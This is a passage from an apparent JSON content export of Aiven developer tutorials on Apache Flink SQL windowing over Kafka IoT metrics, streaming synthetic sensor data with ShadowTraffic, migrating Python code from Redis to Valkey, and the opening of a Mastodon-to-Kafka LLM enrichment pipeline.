11:05:32.773\",\"cpu\":\"cpu3\",\"usage\":94.04115316937872}\n{\"hostname\":\"grumpy\",\"time_ltz\":\"2023-02-08 11:05:34.052\",\"cpu\":\"cpu2\",\"usage\":95.45458336597062}\n{\"hostname\":\"bashful\",\"time_ltz\":\"2023-02-08 11:05:34.506\",\"cpu\":\"cpu1\",\"usage\":93.83903103097724}\n```\n\nGreat, we built our first filtering pipeline redirecting problematic samples to a new Apache Kafka® topic where downstream applications can access them and generate the required alerts. It's streaming, so the alerts are detected and propagated in near real time.\n\n\n## Define an aggregation pipeline\n\nIn the second scenario we want to define an aggregation over the IoT metrics calculating the average and maximum usage over 5 minutes windows to help us smooth the bursty sample behavior. Following similar steps to the above, we can:\n\n1. Define a new Aiven for Apache Flink application with:\n\n ```bash\n avn service flink create-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n \"{\\\"name\\\":\\\"Windowing_Data_Pipeline\\\"}\"\n ```\n\n2. Get the application id with:\n\n ```bash\n FLINK_APP_ID=$(avn service flink list-applications demo-flink \\\n --project $AVN_PROJECT_NAME \\\n | jq -r '.applications[] | select(.name == \"Windowing_Data_Pipeline\") | .id')\n ```\n\n3. Define the new application version with:\n\n ```bash\n avn service flink create-application-version demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n \"\"\"{\n \\\"sources\\\": [\n {\n \\\"create_table\\\":\n \\\"CREATE TABLE iot_in (\\n\\\n hostname VARCHAR,\\n\\\n cpu VARCHAR,\\n\\\n usage DOUBLE,\\n\\\n occurred_at BIGINT,\\n\\\n time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\\n\\\n WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' seconds\\n\\\n )\\n\\\n WITH (\\n\\\n 'connector' = 'kafka',\\n\\\n 'properties.bootstrap.servers' = '',\\n\\\n 'scan.startup.mode' = 'earliest-offset',\\n\\\n 'value.fields-include' = 'ALL',\\n\\\n 'topic' = 'iot-data-input',\\n\\\n 'value.format' = 'json'\\n\\\n )\\\",\n \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n } ],\n \\\"sinks\\\": [\n {\n \\\"create_table\\\":\n \\\"CREATE TABLE iot_avg_out (\\n\\\n window_start TIMESTAMP(3),\\n\\\n window_end TIMESTAMP(3),\\n\\\n hostname VARCHAR,\\n\\\n cpu VARCHAR,\\n\\\n avg_usage DOUBLE,\\n\\\n max_usage DOUBLE\\n\\\n )\\n\\\n WITH (\\n\\\n 'connector' = 'kafka',\\n\\\n 'properties.bootstrap.servers' = '',\\n\\\n 'scan.startup.mode' = 'earliest-offset',\\n\\\n 'topic' = 'iot-avg-output',\\n\\\n 'value.format' = 'json'\\n\\\n )\\\",\n \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n }\n ],\n \\\"statement\\\":\n \\\"insert into iot_avg_out\\n\\\n select\\n\\\n window_start,\\n\\\n window_end,\\n\\\n hostname,\\n\\\n cpu,\\n\\\n avg(usage),\\n\\\n max(usage)\\n\\\n from\\n\\\n TABLE(TUMBLE( TABLE iot_in, DESCRIPTOR(time_ltz), INTERVAL '5' MINUTES))\\n\\\n group by\\n\\\n window_start,\\n\\\n window_end,\\n\\\n hostname,\\n\\\n cpu\\\"\n }\"\"\"\n ```\n\n Note that the above command reuses the same definition for the `iot_in` table as the previous example, but defines a new Apache Flink® table definition called `iot_avg_out` pointing to the topic `iot-avg-output` in JSON format. The `iot_avg_out` schema SQL includes the `window_start` and `window_end` columns defining the boundaries of the window calculated using the [event time](https://aiven.io/docs/products/flink/concepts/event-processing-time.html), the IoT device `hostname` and `cpu`, and the aggregated columns for average and maximum usage.\n\n The `statement` section defines the 5 minute time windows, based on the event time column `time_ltz` with the `TUMBLE` option (check out the [dedicated window documentation](https://aiven.io/docs/products/flink/concepts/windows.html)), and performs the aggregations. We can notice again that, apart from the custom `TUMBLE` definition, the SQL statement is really similar to one we could use in a relational database.\n\n4. Get the application version id with:\n\n ```bash\n FLINK_APP_VERSION_ID=$(avn service flink get-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n | jq -r '.application_versions[] | select(.version == 1) | .id')\n ```\n\n5. Deploy the application with:\n\n ```bash\n avn service flink create-application-deployment demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID \\\n \"{\\\"parallelism\\\": 1,\\\"restart_enabled\\\": true, \\\"version_id\\\": \\\"$FLINK_APP_VERSION_ID\\\"}\"\n ```\n\nWe can check the deployment status with:\n\n```bash\navn service flink get-application demo-flink \\\n --project $AVN_PROJECT_NAME \\\n --application-id $FLINK_APP_ID | jq '.current_deployment.status'\n```\n\nOnce the status is `RUNNING`, we can check the aggregated results being pushed to the `iot-avg-output` Apache Kafka® topic using `kcat` and the following command:\n\n```bash\nkcat -F kcat.config -C -t iot-avg-output\n```\n\nThe result should be similar to the following, showing the window start and end time, the IoT device hostname, cpu and the aggregated utilization metrics\n\n```json\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"dopey\",\"cpu\":\"cpu2\",\"avg_usage\":83.75267676383785,\"max_usage\":98.69540798403519}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"happy\",\"cpu\":\"cpu2\",\"avg_usage\":86.92580172018437,\"max_usage\":99.19071554040988}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"happy\",\"cpu\":\"cpu1\",\"avg_usage\":88.89410118795028,\"max_usage\":98.63471212455435}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"dopey\",\"cpu\":\"cpu4\",\"avg_usage\":84.0739509212965,\"max_usage\":98.74529247031236}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"grumpy\",\"cpu\":\"cpu4\",\"avg_usage\":79.39103768789909,\"max_usage\":91.3979757069514}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"sneezy\",\"cpu\":\"cpu2\",\"avg_usage\":84.2944495941075,\"max_usage\":99.55062006322083}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"grumpy\",\"cpu\":\"cpu3\",\"avg_usage\":82.57313518548608,\"max_usage\":99.47190111994642}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"sneezy\",\"cpu\":\"cpu4\",\"avg_usage\":86.71661332259018,\"max_usage\":99.61266191120228}\n```\n\nNow that we created our 5 minutes windows topic, we could iterate again in our monitoring solution, by adding a follow up Apache Flink® job filtering only the data going over a threshold. The beauty of this approach is that we can plug one step of our solution at a time, storing the intermediate data in the common bus represented by Apache Kafka®.\nFurthermore since the data is stored in an Apache Kafka® topic, we could use Apache Kafka Connect® to sink the data to OpenSearch® and use OpenSearch Dashboard or Grafana® to visualize the trends. \n\nWith the combination of Apache Flink®, Apache Kafka®, and Apache Kafka Connect® we have endless possibilities in terms of streaming analytics and integrations.\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n## Next steps\n\nApache Kafka® and Apache Flink® allow you to move away from batch processing and embrace streaming while keeping a familiar SQL interface for the pipeline definitions. Even more, Apache Flink® rich SQL syntax allows you to define aggregations, boundaries and temporal limits that would be somehow hard to define on traditional databases. To know a bit more about this open source combination and the related managed services Aiven is offering: \n\n* Check out [Aiven for Apache Kafka®](https://aiven.io/kafka)\n* Check out [Aiven for Apache Flink®](https://aiven.io/flink)\n* Understand the difference between [Event time and Processing time](https://aiven.io/docs/products/flink/concepts/event-processing-time.html)\n* Learn all the available [Apache Flink® SQL functions](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/)\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup)!\n\n## Further reading\n\n- [Data streaming made easy with Apache Kafka®](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)","feature":{"_type":"featuredItem","active":true,"endDate":"2023-03-27T13:14:01.284Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5b6d74a7a96d","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-02-08T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/first-streaming-sql-pipeline-with-apache-flink"},"subtitle":"Find out how Apache Kafka® and Apache Flink® allow you to move from batch processing to streaming, but keep using SQL in the data pipeline.","tags":[{"_key":"8d60d9249803","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"e7384e5d6e25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"71ed2f97ff6f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Move from batch to streaming with Apache Kafka® and Apache Flink®"} {"__i18n_lang":"en","_createdAt":"2024-10-30T23:38:42Z","_id":"2f67fdb6-3a95-4225-a58d-559fd5553b5a","_rev":"awnmkCLYpW42uv1UrYH1vy","_type":"devArticle","_updatedAt":"2024-10-31T11:55:06Z","body":"In the world of AI and machine learning, access to high-quality, large-scale data is crucial for success. However, real-world datasets are often hard to come by due to concerns around privacy, cost, or regulatory restrictions. Synthetic data provides a practical solution to these challenges by generating artificial datasets that closely resemble real data without compromising sensitive information.\n\nApache Kafka®, a distributed event streaming platform, is a popular choice for building real-time data pipelines and streaming applications. By using synthetic data, Kafka topics can simulate real-world events, making it possible to test, train, and develop AI models in a more controlled and scalable environment. This approach not only accelerates AI workflows but also helps minimize the risks associated with using actual data.\n\nIn this article, we'll walk through how to use [ShadowTraffic](https://shadowtraffic.io/) to simulate traffic to an Apache Kafka topic in Aiven. We'll demonstrate how to stream sensor readings to a Kafka topic, offering a robust and scalable setup.\n\nShadowTraffic provides a range of generators, functions, and modifiers that help shape the data stream, allowing you to create realistic datasets that closely resemble real-world scenarios. In our example, we'll walk through the steps to do just that.\n\n## Step 1. Create Aiven for Apache Kafka service\n\nFor this tutorial, we'll be using Aiven for Apache Kafka, which you can set up in just a few minutes. If you're new to Aiven, go ahead and [create an account](https://console.aiven.io/signup) — you'll also get free credits to start your trial.\n\nOnce you're signed in, [create a new Aiven for Apache Kafka service](https://aiven.io/docs/platform/howto/create_new_service). This will serve as the backbone for our synthetic data stream.\n\n![kafka_service.png](https://cdn.sanity.io/images/sczeoy4w/production/1ddf9aa3208ec18e95712915fb077ec78403fec9-2456x1414.png)\n\n## Step 2. Prepare SSL credentials\nTo enable secure communication between ShadowTraffic and Apache Kafka, we’ll need to configure Java SSL keystore and truststore files. Follow [these instructions](https://aiven.io/docs/products/kafka/howto/keystore-truststore) to generate the required files. By the end of this step, you’ll have the following:\n\n- A truststore file in JKS format: `client.truststore.jks`\n- A truststore password\n- A keystore file in PKCS12 format: `client.keystore.p12`\n- A keystore password\n- A key password\n\nAdd the generated files into a folder `ssl`, we'll need them later when we run ShadowTraffic via Docker.\n\n![trust_key_stores.png](https://cdn.sanity.io/images/sczeoy4w/production/a0e8272638c63b879cb9c4d08587873790d721fc-2094x228.png)\n\n## Step 3. Quick start with ShadowTraffic\n\nShadowTraffic has excellent [documentation](https://docs.shadowtraffic.io/quickstart/) that explains how to get started with its APIs. Begin by creating a ``license.env`` file (you can use a free trial for this tutorial).\n\nShadowTraffic relies on Docker. If you're new to Docker ecosystem, follow [these steps to set it up](https://www.docker.com/get-started/). Next, pull the [ShadowTraffic docker image](https://hub.docker.com/r/shadowtraffic/shadowtraffic) by running the following command:\n\n```bash\ndocker pull shadowtraffic/shadowtraffic\n```\n![docker_pull.png](https://cdn.sanity.io/images/sczeoy4w/production/0adc1c3c06db4ecce4ed600346009bb9d67f3e18-1854x424.png)\n\n## Step 4. Create configuration file\n\nNow, let's create a configuration file for ShadowTraffic, which will instruct it on how to generate and stream the data. The configuration file consists of two key sections: connection information and data generation settings.\n\n\n### Connection configuration\n\nTo securely transmit data between your Aiven for Apache Kafka service and ShadowTraffic, we’ll need to use the keystore and truststore files you created earlier. Below is an example configuration that incorporates the keystore and truststore details:\n\n```json\n{\n \"connections\": {\n \"dev-kafka\": {\n \"kind\": \"kafka\",\n \"producerConfigs\": {\n \"bootstrap.servers\": \"YOUR-KAFKRA-URI\",\n \"ssl.truststore.location\": \"/ssl/client.truststore.jks\",\n \"ssl.truststore.type\": \"JKS\",\n \"ssl.truststore.password\": \"YOUR-TRUSTSTORE-PASSWORD\",\n \"ssl.keystore.location\": \"/ssl/client.keystore.p12\",\n \"ssl.key.password\": \"YOUR-KEY-PASSWORD\",\n \"ssl.keystore.password\": \"YOUR-KEYSTORE-PASSWORD\",\n \"value.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n \"key.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n \"security.protocol\": \"SSL\"\n }\n }\n }\n}\n```\n\nReplace `YOUR-KAFKRA-URI` with the URI to your Apache Kafka cluster and set correct values for `YOUR-TRUSTSTORE-PASSWORD`, `YOUR-KEY-PASSWORD` and `YOUR-KEYSTORE-PASSWORD`.\n\nWe'll link the SSL keystore and truststore files to the Docker container later when running the ``docker run`` command. For now, you can keep the file locations as the default, but be sure to set the correct passwords for both the keystore and truststore.\n\n### Generators\nNext, we’ll set up the data generator. Each record generated will use a sensor ID as the key, which will uniquely identify each sensor.\n\nTo generate the sensor ID, we’ll use ShadowTraffic's ``uuid`` function, which creates random IDs for us:\n\n```json\n \"key\": {\n \"sensorId\": { \"_gen\": \"uuid\" }\n },\n```\n\nFor the value of each record, we’ll simulate a PM2.5 (particulate matter) reading. This can be modeled using a normal (Gaussian) distribution, where most values fall between 55 and 65. The timestamp will be generated dynamically at the time of data creation:\n\n```json\n \"value\": {\n \"pm25\": {\n \"_gen\": \"normalDistribution\",\n \"mean\": 60,\n \"sd\": 5\n },\n \"timestamp\": { \"_gen\": \"now\" }\n },\n```\n\nHowever, to make the synthetic data stream more realistic, we can adjust the behavior based on the time of day. For this, we'll use an ``intervals`` construct that allows us to generate different patterns at different times. When the system’s current time overlaps with a defined Cron schedule, the corresponding data pattern will be used.\n\n\n\nHere’s how we can set up a PM2.5 generator that simulates different pollution levels throughout the day:\n\n\n```json\n\"pm25\": {\n \"_gen\": \"intervals\",\n \"intervals\": [\n [ \"0 6-9 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 100, \"sd\": 15 } ],\n [ \"0 10-15 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 10 } ],\n [ \"0 16-19 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 90, \"sd\": 12 } ],\n [ \"0 20-23 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 50, \"sd\": 8 } ],\n [ \"0 0-5 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 40, \"sd\": 5 } ]\n ],\n \"defaultValue\": { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 5 }\n },\n```\n\nAdditionally, we can limit how frequently events are generated by using the ``throttleMs`` parameter, which in this case ensures the generator produces an event no more than specified number of milliseconds:\n\n```json\n \"throttleMs\": {\n \"_gen\": \"intervals\",\n \"intervals\": [\n [ \"*/5 * * * *\", 50 ],\n [ \"*/2 * * * *\", 1000 ]\n ],\n \"defaultValue\": 4000\n }\n```\n\nAltogether, the configuration file looks like this:\n\n```json\n{\n \"generators\": [\n {\n \"topic\": \"airQualityReadings\",\n \"key\": {\n \"sensorId\": { \"_gen\": \"uuid\" }\n },\n \"value\": {\n \"pm25\": {\n \"_gen\": \"normalDistribution\",\n \"mean\": 60,\n \"sd\": 5\n },\n \"timestamp\": { \"_gen\": \"now\" }\n },\n \"localConfigs\": {\n \"pm25\": {\n \"_gen\": \"intervals\",\n \"intervals\": [\n [ \"0 6-9 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 100, \"sd\": 15 } ],\n [ \"0 10-15 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 10 } ],\n [ \"0 16-19 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 90, \"sd\": 12 } ],\n [ \"0 20-23 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 50, \"sd\": 8 } ],\n [ \"0 0-5 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 40, \"sd\": 5 } ]\n ],\n \"defaultValue\": { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 5 }\n },\n \"throttleMs\": {\n \"_gen\": \"intervals\",\n \"intervals\": [\n [ \"*/5 * * * *\", 50 ],\n [ \"*/2 * * * *\", 1000 ]\n ],\n \"defaultValue\": 4000\n }\n }\n }\n ],\n \"connections\": {\n \"dev-kafka\": {\n \"kind\": \"kafka\",\n \"producerConfigs\": {\n \"bootstrap.servers\": \"YOUR-KAFKRA-URI\",\n \"ssl.truststore.location\": \"/ssl/client.truststore.jks\",\n \"ssl.truststore.type\": \"JKS\",\n \"ssl.truststore.password\": \"YOUR-TRUSTSTORE-PASSWORD\",\n \"ssl.keystore.location\": \"/ssl/client.keystore.p12\",\n \"ssl.key.password\": \"YOUR-KEY-PASSWORD\",\n \"ssl.keystore.password\": \"YOUR-KEYSTORE-PASSWORD\",\n \"value.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n \"key.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n \"security.protocol\": \"SSL\"\n }\n }\n }\n}\n```\n\nHere is the structure of the files we've created so far:\n![project_structure.png](https://cdn.sanity.io/images/sczeoy4w/production/4a7ef7fcb22bb8ea8a9f54875d7d3852660aa014-2416x854.png)\n\n## Step 5. Run ShadowTraffic generator\n\nNow it's time to run ShadowTraffic. From the folder where you’ve saved your files, run the following command:\n\n```shell\ndocker run --env-file license.env \\\n-v $(pwd)/ssl:/ssl \\\n-v $(pwd)/config.json:/home/config.json \\\nshadowtraffic/shadowtraffic:latest \\\n--config /home/config.json \n```\n\nThis command mounts your SSL files and configuration into the Docker container and starts ShadowTraffic.\n\nNow you can go back to your Apache Kafka topic to see the stream of data as it flows through — this is where your synthetic sensor readings come to life!\n![generated_data.png](https://cdn.sanity.io/images/sczeoy4w/production/011e7af7d6b902036dc3fa79b5fe74e7f2afb29f-2738x936.png)\n\n## Conclusions and next steps\n\nIn this tutorial, we've demonstrated how to use ShadowTraffic to generate synthetic data and stream it to an Aiven for Apache Kafka service. By simulating real-world data with configurable generators, you can test and develop AI models without relying on sensitive or costly datasets.\n\nNext, you can further explore ShadowTraffic’s advanced features and their usage with Aiven for Apache Kafka to incorporate this synthetic data into machine learning workflows.\n\nLearn more what you can do with Aiven and AI:\n- [Building a real-time AI pipeline for data analysis with Apache Flink® and OpenAI](https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models)\n- [Applying RAG pattern to navigate your knowledge store](https://aiven.io/developer/rag-bedrock-opensearch)\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)\n- [Developing memory-rich AI systems with Valkey™, OpenSearch® and RAG](https://aiven.io/developer/developing-memory-rich-ai-systems-with-valkey-opensearch-and-rag)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-11-07T00:38:33.883Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-10-30T23:36:10.577Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Synthetic Data for AI with Aiven and ShadowTraffic","asset":{"_ref":"image-e9bd0300b1a4105692a4f809719ffb0f1f9ba66e-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/synthetic-data-for-ai-with-aiven-and-shadowtraffic"},"subtitle":"Generating artificial datasets that closely resemble real data without compromising sensitive information","tags":[{"_key":"a5277d12eab3","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"1b87aeb4ce88","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"Synthetic Data for AI with Aiven and ShadowTraffic"} {"__i18n_lang":"en","_createdAt":"2024-06-25T14:12:34Z","_id":"663a52f1-7168-420b-8e9b-f0411145b262","_rev":"3N4tb0pjpPka8Q2ce9N6cI","_type":"devArticle","_updatedAt":"2024-10-23T15:19:40Z","body":"Earlier this year, the team behind Redis®* made the decision to change their license from BSD to a [proprietary license in combination with the SSPL v1](https://redis.io/blog/redis-adopts-dual-source-available-licensing/). While licensing changes can be confusing, one solution is to migrate to a new platform that meets your licensing preferences.\n\nMeet [Valkey™](https://valkey.io/), an open-source in memory data-store that was designed to be a drop-in replacement for Redis. The development team's goal is to make it easy to take your existing Redis implementation and replace it with Valkey without having to make a large amount of changes to configuration. Your biggest change will be using a Valkey-powered key:value store like the one provided by [Aiven for Valkey](https://aiven.io/valkey).\n\n![Valkey Service in the Aiven Console](https://cdn.sanity.io/images/sczeoy4w/production/e9714beb6e6e5b14082f4f1b2eef5281ccfdabab-3702x1322.png)\n\nFor Python developers we often use Redis in a transparent way. Like a task queue using [Celery](https://docs.celeryq.dev/en/stable/getting-started/introduction.html#what-s-a-task-queue) or a simple key:value cache for your web application to quickly retrieve information and save yourself from making unnecessary API calls. For these and many other use cases, you will not need to do much beyond install the `valkey` client and change your imports from `redis` to `valkey`.\n\nThat being said, we don’t know the plans for Redis after their licensing change so this guide will walk you through the steps of pointing your cache systems from Redis to Valkey. While this means we need to change a few more namespaces, Valkey has made it as simple as possible to make these changes quickly and confidently.\n\n## Install the Valkey Python package\n\nThe valkey Python package is available via PyPI and can be downloaded and installed using pip or any popular Python package manager.\n\n`pip install valkey`\n\nThe Valkey Python Package is a fork from the last open-source version of the redis Python package which means you can install `valkey[hiredis]` to use the compiled response parser from the hiredis package.\n\n## Importing and using the Valkey package\n\nFor convenience, if you were using Redis version 7.0 or lower, you only need to change your import and you can continue to use the Redis class which is still available in Valkey. To do so only replace the import from redis to from valkey. You will need to also change the path to your new Service URI. \n\nLook at how similar the redis.py connection is compared to the valkey connection is.\n\nHere is the Redis connection file.\n\n```python\n\nfrom redis import Redis\n\nredis_connection = Redis.from_url(\n \"rediss://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\"\n decode_responses=True,\n)\n```\n\nHere is the Valkey connection file.\n\n```py\nfrom valkey import Redis\n\n# change `rediss://` to `valkeys://`\n\nvalkey_connection = Redis.from_url(\n \"valkeys://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\"\n decode_responses=True,\n)\n```\n\nKeep in mind the developers of Valkey cannot ensure that newer versions of Redis will be implemented in the same manner and the two products may deviate in development. That is why it is recommended you use the `Valkey` object inside of the package instead. Everything from that point should be the same as the Redis class object from version 7. This means all your set, get, query, and all commands that were exposed to the Redis package will be identical.\n\n```python\n\u003e\u003e\u003e from valkey import Valkey\n\u003e\u003e\u003e valkey_connection = Valkey.from_url(\n \"valkeys://\u003cAIVEN_FOR_CACHING_SERVICE_URI\u003e\" \n decode_responses=True,\n)\n# You will still have access to all of the endpoints\n\u003e\u003e\u003e valkey.set(\"memstore\", \"valkey\") # same for hget/hset, etc\n\u003e\u003e\u003e valkey.get(\"memstore\")\n\"valkey\"\n```\n\n[Aiven for Valkey](https://aiven.io/valkey) is available across our many cloud providers and regions with backup and performance tiers to meet your needs. \n\nAnother Redis alternative supported by Valkey Python is [Aiven for Dragonfly](https://aiven.io/dragonfly) which supports for over 1TB of data per instance, processing over 500,000 requests per second, JSON and Vector Support for AI, compatibility with memcached, and more.\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-07-02T14:11:55.135Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"462f458eda6c","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-06-26T14:06:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Migrating your Python Applications from Redis to Valkey","asset":{"_ref":"image-3c3443df5d00f587cf3201b9e078cac2560a593f-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/python-valkey-redis-migration"},"subtitle":"You can quickly update your Python applications with Valkey™, the drop-in Redis®* replacement. ","tags":[{"_key":"4c5a85bfad0e","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"},{"_key":"48b4f18dedc0","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"898d619e5501","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"}],"title":"Migrating your Python Applications from Redis®* to Valkey™"} {"__i18n_lang":"en","_createdAt":"2024-06-10T15:21:02Z","_id":"da197f06-0086-41af-b8e9-4b7a1f21d2f1","_rev":"jEln45CgOQD4spzxfDqSBC","_type":"devArticle","_updatedAt":"2024-07-19T08:24:08Z","body":"In today's fast-paced world, getting real-time insights is essential for businesses, researchers, and analysts. This article will guide you step by step through the process of building a real-time data analysis pipeline using Apache Kafka and Apache Flink. While doing so we'll explore the key components needed to process and enrich each record, analyze the data and visualize the results.\n\nAdditionally, we'll explore the use of a large language model (LLM) for data enrichment. We'll highlight the benefits and drawbacks of this approach in contrast to using various specialised models.\n\n## What data will we use?\n\nOur data source will be social media records from Mastodon. Mastodon is a decentralized social media platform with convenient APIs and libraries for streaming records. Social media, with its diverse conversations and topics, becomes particularly interesting when aggregated and analyzed, making it the perfect basis for our playground.\n![Mastodon](https://cdn.sanity.io/images/sczeoy4w/production/2b57d1ecd7a48891c5e6546ca03b26b2c99d8df1-2314x914.png)\n\n## What analysis will we perform?\nWe'll ask the following questions for each individual message:\n\n- Does this record convey a positive, negative, or neutral sentiment?\n- Which category or topic does this message belong to?\n- Does the message contain any rude or inappropriate language?\n- Does the message contain sarcasm?\n- What is the language of the message?\n\nWith these data points, we can aggregate the data and examine correlations, such as the relationship between sentiment and categories or the link between a category and the likelihood of inappropriate language.\n\nTo make it easy to visualize these aggregations and correlations, we'll build a dashboard:\n![Example of OpenSearch dashboard](https://cdn.sanity.io/images/sczeoy4w/production/4a58dd451d982567fb355c9f2bbf4948d9995005-2782x1542.png)\n\n## What tech will we use?\nTo stream, process, analyze and visualize the data, we'll use several open-source technologies.\n\nFirst, we'll use Apache Kafka to handle the real-time data feed from Mastodon. For data processing, we'll rely on Apache Flink, a powerful stream-processing framework. Apache Flink will execute a data flow that sends requests to the OpenAI API to enrich the data. The enriched data will then be streamed into an Apache Kafka topic. Finally, we'll visualize the outcomes using OpenSearch®.\n\nOverall, our data pipeline will look like this:\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/8704f6db2eb49dd856c8af6d6fbb5554fc9ce8a0-1726x976.png)\n\nLet's roll up our sleeves and dive in!\n\n## Setting up services\n\nIn this tutorial, we'll use the Aiven platform to simplify cloud data infrastructure management and integrations across the data services.\n\nIf you haven't registered with Aiven yet, go ahead and create an account. You'll also get additional credits to start your trial for free. \n\nOnce you have an account, start by [creating these services](https://aiven.io/docs/platform/howto/create_new_service):\n- Aiven for Apache Kafka\n- Aiven for OpenSearch\n- Aiven for Apache Flink\n\nTo process data with Flink, we'll use a Java ARchive (JAR). Custom JARs for Aiven for Apache Flink is a limited availability feature, please [contact us](mailto:sales@aiven.io). Find more [in the documentation](https://aiven.io/docs/products/flink/howto/create-jar-application).\n\nWhen creating the service, make sure to enable the usage of custom JARs:\n![Step by step plan for this tutorial](https://cdn.sanity.io/images/sczeoy4w/production/7686dfe50780c3dbc499b4506f0dc884f2e61c79-1670x358.png)\n\n## Streaming the data into Apache Kafka\nTo stream the data from Mastodon to Apache Kafka [use this github repository](https://github.com/Aiven-Labs/mastodon-cleaned-message-body-to-kafka).\nBy running the Apache Kafka producer code either locally on your laptop or in the cloud (for example, using EC2), the producer will send the public data from https://mastodon.social/public/ to an Apache Kafka topic.\n\n![Send data from mastodon to Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/81ce278b4d374fff2f1db9b17532b42e2b6b24a5-3024x1690.png)\n\n## Processing the data with Aiven for Apache Flink and an LLM\nNow that the data is flowing into the Apache Kafka topic, it's time to add Apache Flink to our pipeline.\nApache Flink offers a layered API that provides various options for creating a data execution flow. To interact with the OpenAI API, send requests, and process responses, we'll use the Flink DataStream API, which allows us to write the program in Java.\n\nOnce you have created the Aiven for Apache Flink service, go to its landing page and click **Create data pipeline**:\n![Aiven for Apache Flink service](https://cdn.sanity.io/images/sczeoy4w/production/5ad74d032b7eae7b8eb9616d59d7852e41867708-2316x1366.png)\n![Create a new pipeline](https://cdn.sanity.io/images/sczeoy4w/production/f6e2f91ec622301501cea8b1058f5b019ab11f54-2430x816.png)\n\nSelect your 